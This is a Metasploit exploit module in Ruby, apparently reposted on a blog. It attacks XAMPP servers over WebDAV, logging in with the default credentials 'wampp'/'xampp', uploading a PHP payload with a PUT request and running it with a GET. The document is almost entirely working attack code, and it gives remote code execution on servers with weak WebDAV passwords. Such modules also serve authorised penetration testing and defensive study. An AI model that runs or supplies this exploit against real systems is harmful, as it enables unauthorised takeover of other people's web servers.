##
# $Id$ |
## |
## |
# This file is part of the Metasploit Framework and may be subject to |
# redistribution and commercial restrictions. Please see the Metasploit |
# Framework web site for more information on licensing and terms of use. |
# http://metasploit.com/framework/ |
## |
require 'msf/core' |
class Metasploit3 < Msf::Exploit::Remote |
Rank = ExcellentRanking |
include Msf::Exploit::Remote::HttpClient |
include Msf::Exploit:: EXE |
def initialize |
super ( |
'Name' => 'XAMPP WebDAV PHP Upload' , |
'Description' => %q{ |
This module exploits weak WebDAV passwords on XAMPP servers. |
It uses supplied credentials to upload a PHP payload and |
execute it. |
}, |
'Author' => [ 'thelightcosine <thelightcosine[at]metasploit.com' ], |
'Version' => '$Revision$' , |
'Platform' => 'php' , |
'Arch' => ARCH_PHP , |
'Targets' => |
[ |
[ 'Automatic' , { } ], |
], |
'DefaultTarget' => 0 |
) |
register_options( |
[ |
OptString. new ( 'PATH' , [ true , "The path to attempt to upload" , '/webdav/' ]), |
OptString. new ( 'FILENAME' , [ false , "The filename to give the payload. (Leave Blank for Random)" ]), |
OptString. new ( 'RUSER' , [ true , "The Username to use for Authentication" , 'wampp' ]), |
OptString. new ( 'RPASS' , [ true , "The Password to use for Authentication" , 'xampp' ]) |
], self . class ) |
end |
def exploit |
uri = build_path |
print_status "Uploading Payload to #{uri}" |
res,c = send_digest_request_cgi({ |
'uri' => uri, |
'method' => 'PUT' , |
'data' => payload.raw, |
'DigestAuthUser' => datastore[ 'RUSER' ], |
'DigestAuthPassword' => datastore[ 'RPASS' ] |
}, 25 ) |
unless (res.code == 201 ) |
print_error "Failed to upload file!" |
return |
end |
print_status "Attempting to execute Payload" |
res = send_request_cgi({ |
'uri' => uri, |
'method' => 'GET' |
}, 20 ) |
end |
def build_path |
if datastore[ 'PATH' ][ 0 , 1 ] == '/' |
uri_path = datastore[ 'PATH' ].dup |
else |
uri_path = '/' + datastore[ 'PATH' ].dup |
end |
uri_path << '/' unless uri_path.ends_with?( '/' ) |
if datastore[ 'FILENAME' ] |
uri_path << datastore[ 'FILENAME' ] |
uri_path << '.php' unless uri_path.ends_with?( '.php' ) |
else |
uri_path << Rex::Text.rand_text_alphanumeric( 7 ) |
uri_path << '.php' |
end |
return uri_path |
end |
end
Tidak ada komentar:
Posting Komentar